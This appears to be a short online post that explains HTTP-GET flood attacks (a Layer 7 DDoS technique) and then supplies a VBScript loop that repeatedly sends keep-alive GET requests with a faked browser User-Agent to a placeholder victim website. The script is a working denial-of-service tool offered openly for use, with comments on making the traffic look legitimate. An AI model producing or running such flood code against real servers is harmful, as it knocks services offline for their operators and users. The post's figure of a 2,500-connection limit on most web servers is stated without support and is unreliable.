A HTTP-GET attack is a DDoS type of attack which uses the http protocol 'get' to connect to the victim server, it also uses the 'keep-alive' flag which states that the connection will not be closed after establishing the first connection it will create new ones endlessly. Most web servers can only keep 2500 simultaneous connections at the same time so when the attacker creates more than 2500 simultaneous connections the web server wont be able to establish new connections putting it out of service. HTTP-GET attacks are considered Layer 7 attacks because they use legit looking traffic and are hard to mitigate.
Below I will leave an example of a HTTP-GET DDoS attack coded in VBScript, but you can do this in pretty much any language you want.
Below I will leave an example of a HTTP-GET DDoS attack coded in VBScript, but you can do this in pretty much any language you want.
Do
Dim xSaturate
Set xSaturate = CreateObject("MSXML2.XMLHTTP")
xSaturate.open "GET", "http://www.victim-website.com", False
xSaturate.setRequestHeader "Connection", "keep-alive" 'States that the connection will not be closed
xSaturate.setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36" 'Makes the traffic look legit
xSaturate.send
Loop 'Establishes a new connection